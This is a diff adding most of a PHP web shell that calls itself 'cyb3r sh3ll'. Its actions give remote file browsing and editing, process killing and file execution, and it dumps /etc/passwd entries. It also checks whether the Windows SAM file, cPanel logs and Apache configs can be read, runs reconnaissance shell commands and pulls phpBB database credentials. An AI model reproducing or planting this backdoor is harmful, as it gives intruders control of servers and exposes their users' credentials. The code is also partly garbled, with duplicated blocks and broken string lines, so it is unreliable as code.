+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+
+ echo " ";
+
+ }
+
+ $act = $dspact = "ls";
+
+}
+
+if ($act == "d")
+
+{
+
+ if (!is_dir($d)) {echo "Permision denied! ";}
+
+ else
+
+ {
+
+ echo "Directory information: ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d));
+
+ $gr = posix_getgrgid(filegroup($d));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+
+ }
+
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+
+ }
+
+}
+
+
+if ($act == "security")
+{
+
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+
+ if (!$win)
+
+ {
+
+ if ($nixpasswd)
+
+ {
+
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+
+ echo "*nix /etc/passwd: ";
+
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+
+ echo "From: To: ";
+
+ $i = $nixpwd_s;
+
+ while ($i < $nixpwd_e)
+
+ {
+
+ $uid = posix_getpwuid($i);
+
+ if ($uid)
+
+ {
+
+ $uid["dir"] = "".$uid["dir"]." ";
+
+ echo join(":",$uid)." ";
+
+ }
+
+ $i++;
+
+ }
+
+ }
+
+ else {echo "Get /etc/passwd ";}
+
+ }
+
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+
+ displaysecinfo("RAM",myshellexec("free -m"));
+
+ displaysecinfo("HDD space",myshellexec("df -h"));
+
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+
+}
+
+if ($act == "mkfile")
+
+{
+ if ($mkfile != $d)
+
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+
+ }
+ else {$act = $dspact = "ls";}
+
+}
+
+if ($act == "encoder")
+
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+
+ {
+ echo $v." - ";
+ }
+
+ echo " Url: urlencode -
+
+ urldecode -
+
+ Base64: base64_encode - ";
+
+ echo "base64_decode - ";
+
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+
+ else
+
+ {
+
+ $debase64 = base64_decode($encoder_input);
+
+ $debase64 = str_replace("\0","[0]",$debase64);
+
+ $a = explode("\r\n",$debase64);
+
+ $rows = count($a);
+
+ $debase64 = htmlspecialchars($debase64);
+
+ if ($rows == 1) {echo " ";}
+
+ else {$rows++; echo "".$debase64." ";}
+
+ echo " ^ ";
+
+ }
+
+ echo " Base convertations :dec2hex - ";
+
+}
+
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+
+ {
+
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using cyb3r sh3ll v.".$shver."!"; cyb3rexit(); }
+
+ else {echo "Can't delete ".__FILE__."! ";}
+
+ }
+
+ else
+
+ {
+
+ if (!empty($rndcode)) {echo "Error: Incorrect Confimation! ";}
+
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+
+ }
+
+}
+
+if ($act == "serverinfo")
+{
+
+global $windows,$disablefunctions,$safemode;
+$cwd= getcwd();
+$mil="$osn ",$os);
+$os = str_replace($ker,"${mil}Linux+Kernel\">$ker ",$os);
+$inpa=':';
+}else{
+$sam = $sysroot."\\system32\\config\\SAM";
+$inpa=';';
+$os = str_replace($osn,"${mil}MS+Windows\">$osn ",$os);
+}
+$software=str_replace("Apache","${mil}Apache\">Apache ",$_SERVER['SERVER_SOFTWARE']);
+echo "
+
+ Server information:
+ Server:
+ ".$_SERVER["HTTP_HOST"];
+if (!empty($_SERVER["SERVER_ADDR"])){
+ echo "(". $_SERVER["SERVER_ADDR"] .")";}
+echo "
+
+Operation System: $os$osver
+Web server Application: $software
+CPU: $CPU
+ Disk status: $disksize
+User domain: ";
+if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];
+else echo "Unknown";
+echo "
+ User Name :
+";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();
+else echo "Unknown"; echo " ";
+if ($windows){
+echo "
+Windows directory: $sysroot
+Sam file: ";
+if (is_readable(($sam)))echo "
+Readable "; else echo "Not readable";echo " ";
+}
+else
+{
+echo "Passwd file: ";
+if (is_readable('/etc/passwd')) echo "
+Readable "; else echo'Not readable';echo " Cpanel log file: ";
+if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "Readable "; else echo "Not readable";}else echo "Not found";
+echo " ";
+}
+$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
+echo "
+${mil}PHP\">PHP version:
+".PHP_VERSION."
+(more... )
+Zend version:
+";if (function_exists('zend_version')) echo "".zend_version()." ";
+else echo "Not Found";echo "
+Include path:
+".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
+PHP Modules:
+";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";
+echo " Disabled functions: ";
+if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"
+Safe mode: $sfmode
+Open base dir: $basedir
+DBMS:
+";$sq="";
+if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL ";
+if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL ";
+if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle ";
+if(function_exists('sqlite_open')) $sq.= " SQLite ";
+if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL ";
+if(function_exists('msql_connect')) $sq.= " mSQL ";
+if(function_exists('mysqli_connect'))$sq.= " MySQLi ";
+if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";
+if ($sq=="") $sq= "Nothing";
+
+echo "$sq ";if (function_exists('curl_init')) echo "cURL support: Enabled ";
+if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo " ";echo "
";
+
+}
+
+if ($act == "clientinfo")
+{
+echo "User information :IP: ".$_SERVER['REMOTE_ADDR']." Agent: ".getenv('HTTP_USER_AGENT')."
";
+}
+
+if ($act == "processes")
+
+{
+
+ echo "Processes: ";
+
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+
+ else {$handler = "tasklist";}
+
+ $ret = myshellexec($handler);
+
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+
+ else
+
+ {
+
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+
+ $parsesort = parsesort($processes_sort);
+
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+
+ $k = $parsesort[0];
+
+ if ($parsesort[1] != "a") {$y = " ";}
+
+ else {$y = " ";}
+
+ $ret = htmlspecialchars($ret);
+
+ if (!$win)
+
+ {
+
+ if ($pid)
+
+ {
+
+ if (is_null($sig)) {$sig = 9;}
+
+ echo "Sending signal ".$sig." to #".$pid."... ";
+
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+
+ else {echo "ERROR.";}
+
+ }
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+
+ $stack = explode("\n",$ret);
+
+ $head = explode(" ",$stack[0]);
+
+ unset($stack[0]);
+
+ for($i=0;$i".$head[$i]." ";}
+
+ }
+
+ $prcs = array();
+
+ foreach ($stack as $line)
+
+ {
+
+ if (!empty($line))
+
+{
+
+ echo "";
+
+ $line = explode(" ",$line);
+
+ $line[10] = join(" ",array_slice($line,10));
+
+ $line = array_slice($line,0,11);
+
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+
+ $line[] = "KILL ";
+
+ $prcs[] = $line;
+
+ echo " ";
+
+ }
+
+ }
+
+ }
+
+ else
+
+ {
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ $stack = explode("\n",$ret);
+
+ unset($stack[0],$stack[2]);
+
+ $stack = array_values($stack);
+
+ $head = explode("",$stack[0]);
+
+ $head[1] = explode(" ",$head[1]);
+
+ $head[1] = $head[1][0];
+
+ $stack = array_slice($stack,1);
+
+ unset($head[2]);
+
+ $head = array_values($head);
+
+ if ($parsesort[1] != "a") {$y = " ";}
+
+ else {$y = " ";}
+
+ if ($k > count($head)) {$k = count($head)-1;}
+
+ for($i=0;$i".trim($head[$i])." ";}
+
+ }
+
+ $prcs = array();
+
+ foreach ($stack as $line)
+
+ {
+
+ if (!empty($line))
+
+ {
+
+ echo "";
+
+ $line = explode("",$line);
+
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+
+ $prcs[] = $line;
+
+ echo " ";
+
+ }
+
+ }
+
+ }
+
+ $head[$k] = "".$head[$k]." ".$y;
+
+ $v = $processes_sort[0];
+
+ usort($prcs,"tabsort");
+
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+
+ $tab = array();
+
+ $tab[] = $head;
+
+ $tab = array_merge($tab,$prcs);
+
+ echo "";
+
+ foreach($tab as $i=>$k)
+
+ {
+
+ echo "";
+
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+
+ echo " ";
+
+ }
+
+ echo "
";
+
+ }
+
+}
+
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+
+ $list = array();
+
+ if ($h = @opendir($d))
+
+ {
+
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+
+ closedir($h);
+
+ }
+
+ else {}
+
+ }
+
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+
+ //Building array
+
+ $objects = array();
+
+ $vd = "f"; //Viewing mode
+
+ if ($vd == "f")
+
+ {
+
+ $objects["head"] = array();
+
+ $objects["folders"] = array();
+
+ $objects["links"] = array();
+
+ $objects["files"] = array();
+
+ foreach ($list as $v)
+
+ {
+
+ $o = basename($v);
+
+ $row = array();
+
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+
+ elseif (is_dir($v))
+
+ {
+
+ if (is_link($v)) {$type = "LINK";}
+
+ else {$type = "DIR";}
+
+ $row[] = $v;
+
+ $row[] = $type;
+
+ }
+
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+
+ $row[] = filemtime($v);
+
+ if (!$win)
+
+ {
+
+ $ow = posix_getpwuid(fileowner($v));
+
+ $gr = posix_getgrgid(filegroup($v));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+
+ }
+
+ $row[] = fileperms($v);
+
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+
+ $i++;
+
+ }
+
+ $row = array();
+
+ $row[] = "Name ";
+
+ $row[] = "Size ";
+
+ $row[] = "Modify ";
+
+ if (!$win)
+
+ {$row[] = "Owner/Group ";}
+
+ $row[] = "Perms ";
+
+ $row[] = "Action ";
+
+ $parsesort = parsesort($sort);
+
+ $sort = $parsesort[0].$parsesort[1];
+
+ $k = $parsesort[0];
+
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+
+ $y = "";
+
+ $y .= " ";
+
+ $row[$k] .= $y;
+
+ for($i=0;$i".$row[$i]."";}
+
+ }
+
+ $v = $parsesort[0];
+
+ usort($objects["folders"], "tabsort");
+
+ usort($objects["links"], "tabsort");
+
+ usort($objects["files"], "tabsort");
+
+ if ($parsesort[1] == "d")
+
+ {
+
+ $objects["folders"] = array_reverse($objects["folders"]);
+
+ $objects["files"] = array_reverse($objects["files"]);
+
+ }
+
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+
+ $tab = array();
+
+ $tab["cols"] = array($row);
+
+ $tab["head"] = array();
+
+ $tab["folders"] = array();
+
+ $tab["links"] = array();
+
+ $tab["files"] = array();
+
+ $i = 0;
+
+ foreach ($objects as $a)
+
+ {
+
+ $v = $a[0];
+
+ $o = basename($v);
+
+ $dir = dirname($v);
+
+ if ($disp_fullpath) {$disppath = $v;}
+
+ else {$disppath = $o;}
+
+ $disppath = str2mini($disppath,60);
+
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+
+ foreach ($regxp_highlight as $r)
+
+ {
+
+ if (ereg($r[0],$o))
+
+ {
+
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();}
+
+ else
+
+ {
+
+ $r[1] = round($r[1]);
+
+ $isdir = is_dir($v);
+
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+
+ {
+
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+
+ $disppath = $r[2].$disppath.$r[3];
+
+ if ($r[4]) {break;}
+
+ }
+
+ }
+
+ }
+
+ }
+
+ $uo = urlencode($o);
+
+ $ud = urlencode($dir);
+
+ $uv = urlencode($v);
+
+ $row = array();
+
+ if ($o == ".")
+
+ {
+
+ $row[] = " ".$o." ";
+
+ $row[] = "LINK";
+
+ }
+
+ elseif ($o == "..")
+
+ {
+
+ $row[] = " ".$o." ";
+
+ $row[] = "LINK";
+
+ }
+
+ elseif (is_dir($v))
+
+ {
+
+ if (is_link($v))
+
+ {
+
+ $disppath .= " => ".readlink($v);
+
+ $type = "LINK";
+
+ $row[] = " [".$disppath."] ";
+
+ }
+
+ else
+
+ {
+
+ $type = "DIR";
+
+ $row[] = " [".$disppath."] ";
+
+ }
+
+ $row[] = $type;
+
+ }
+
+ elseif(is_file($v))
+
+ {
+
+ $ext = explode(".",$o);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $row[] = " ".$disppath." ";
+
+ $row[] = view_size($a[1]);
+
+ }
+
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+
+ if (!$win) {$row[] = $a[3];}
+
+ $row[] = "".view_perms_color($v)." ";
+
+ if ($o == ".") {$checkbox = " "; $i--;}
+
+ else {$checkbox = " ";}
+
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
+
+ else {$row[] = " ".$checkbox;}
+
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+
+ $i++;
+
+ }
+
+ }
+
+ // Compiling table
+
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+
+ foreach($table as $row)
+
+ {
+
+ echo "\r\n";
+
+ foreach($row as $v) {echo "".$v." \r\n";}
+
+ echo " \r\n";
+
+ }
+
+ echo "
+
+
+
+
+
+ ";
+
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+
+ {
+
+ echo " ";
+
+ }
+
+ echo "With selected: ";
+
+ echo "Delete ";
+
+ echo "Change-mode ";
+
+ if ($usefsbuff)
+
+ {
+
+ echo "Cut ";
+
+ echo "Copy ";
+
+ echo "Unselect ";
+
+ }
+
+ echo "
";
+
+ echo " ";
+ }
+ ?>
+ ";}
+
+ }
+
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+
+ $act = "ls";
+
+}
+
+if ($act == "chmod")
+
+{
+
+ $mode = fileperms($d.$f);
+
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+
+ }
+
+ }
+
+}
+
+if ($act == "search")
+
+{
+
+ echo "Search in file-system: ";
+
+ if (empty($search_in)) {$search_in = $d;}
+
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+
+ if (!empty($submit))
+
+ {
+
+ $found = array();
+
+ $found_d = 0;
+
+ $found_f = 0;
+
+ $search_i_f = 0;
+
+ $search_i_d = 0;
+
+ $a = array
+
+ (
+
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+
+ "text_wwo"=>$search_text_wwo,
+
+ "text_cs"=>$search_text_cs,
+
+ "text_not"=>$search_text_not
+
+ );
+
+ $searchtime = getmicrotime();
+
+ $in = array_unique(explode(";",$search_in));
+
+ foreach($in as $v) {cyb3rfsearch($v);}
+
+ $searchtime = round(getmicrotime()-$searchtime,4);
+
+ if (count($found) == 0) {echo "No files found! ";}
+
+ else
+
+ {
+
+ $ls_arr = $found;
+
+ $disp_fullpath = TRUE;
+
+ $act = "ls";
+
+ }
+
+ }
+
+ echo "
+
+
+
+Search for (file/folder name): - regexp
+
+Search in (explode \";\"):
+
+Text: ".htmlspecialchars($search_text)."
+
+ - regexp
+
+ - w hole words only
+
+ - case sensitive
+
+ - find files NOT containing the text
+
+ ";
+
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+
+}
+
+if ($act == "fsbuff")
+
+{
+
+ $arr_copy = $sess_data["copy"];
+
+ $arr_cut = $sess_data["cut"];
+
+ $arr = array_merge($arr_copy,$arr_cut);
+
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+
+}
+
+if ($act == "d")
+
+{
+
+ if (!is_dir($d)) {echo "Permision denied! ";}
+
+ else
+
+ {
+
+ echo "Directory information: ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d));
+
+ $gr = posix_getgrgid(filegroup($d));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+
+ }
+
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+
+ }
+
+}
+
+if ($act == "chmod")
+
+{
+
+ $mode = fileperms($d.$f);
+
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+
+ }
+
+ }
+
+}
+
+if ($act == "f")
+
+{
+
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+
+ {
+
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+
+ }
+
+ else
+
+ {
+
+ $r = @file_get_contents($d.$f);
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+
+ if (empty($ft)) {$ft = $rft;}
+
+ $arr = array(
+
+ array(" ","info"),
+
+ array(" ","html"),
+
+ array(" ","txt"),
+
+ array("Code","code"),
+
+ array("Session","phpsess"),
+
+ array(" ","exe"),
+
+ array("SDB","sdb"),
+
+ array(" ","img"),
+
+ array(" ","ini"),
+
+ array(" ","download"),
+
+ array(" ","notepad"),
+
+ array(" ","edit")
+
+ );
+
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+
+ foreach($arr as $t)
+
+ {
+
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+
+ else {echo " ".$t[0]." ";}
+
+ echo " (+ ) |";
+
+ }
+
+ echo " ";
+
+ if ($ft == "info")
+
+ {
+
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d.$f));
+
+ $gr = posix_getgrgid(filegroup($d.$f));
+
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+
+ }
+
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+
+ $fi = fopen($d.$f,"rb");
+
+ if ($fi)
+
+ {
+
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+
+ $n = 0;
+
+ $a0 = "00000000 ";
+
+ $a1 = "";
+
+ $a2 = "";
+
+ for ($i=0; $i";}
+
+ $a1 .= " ";
+
+ $a2 .= " ";
+
+ }
+
+ }
+
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+
+ echo " ";
+
+ }
+
+ $encoded = "";
+
+ if ($base64 == 1)
+
+ {
+
+ echo "Base64 Encode ";
+
+ $encoded = base64_encode(file_get_contents($d.$f));
+
+ }
+
+ elseif($base64 == 2)
+
+ {
+
+ echo "Base64 Encode + Chunk ";
+
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+
+ }
+
+ elseif($base64 == 3)
+
+ {
+
+ echo "Base64 Encode + Chunk + Quotes ";
+
+ $encoded = base64_encode(file_get_contents($d.$f));
+
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+
+ }
+
+ elseif($base64 == 4)
+
+ {
+
+ $text = file_get_contents($d.$f);
+
+ $encoded = base64_decode($text);
+
+ echo "Base64 Decode";
+
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+
+ echo " ";
+
+ }
+
+ if (!empty($encoded))
+
+ {
+
+ echo "".htmlspecialchars($encoded)." ";
+
+ }
+
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+
+[Encode ]
+
+[+chunk ]
+
+[+chunk+quotes ]
+
+[Decode ]
+
+";
+
+ }
+
+ elseif ($ft == "html")
+
+ {
+
+ if ($white) {@ob_clean();}
+
+ echo $r;
+
+ if ($white) {cyb3rexit();}
+
+ }
+
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+
+ elseif ($ft == "phpsess")
+
+ {
+
+ echo "";
+
+ $v = explode("|",$r);
+
+ echo $v[0]." ";
+
+ var_dump(unserialize($v[1]));
+
+ echo " ";
+
+ }
+
+ elseif ($ft == "exe")
+
+ {
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($exeftypes as $k=>$v)
+
+ {
+
+ if (in_array($ext,$v)) {$rft = $k; break;}
+
+ }
+
+ $cmd = str_replace("%f%",$f,$rft);
+
+ echo "Execute file: Display in text-area ";
+
+ }
+
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+
+ elseif ($ft == "code")
+
+ {
+
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+
+ {
+
+ $arr = explode("\n",$r);
+
+ if (count($arr == 18))
+
+ {
+
+ include($d.$f);
+
+ echo "phpBB configuration is detected in this file! ";
+
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+
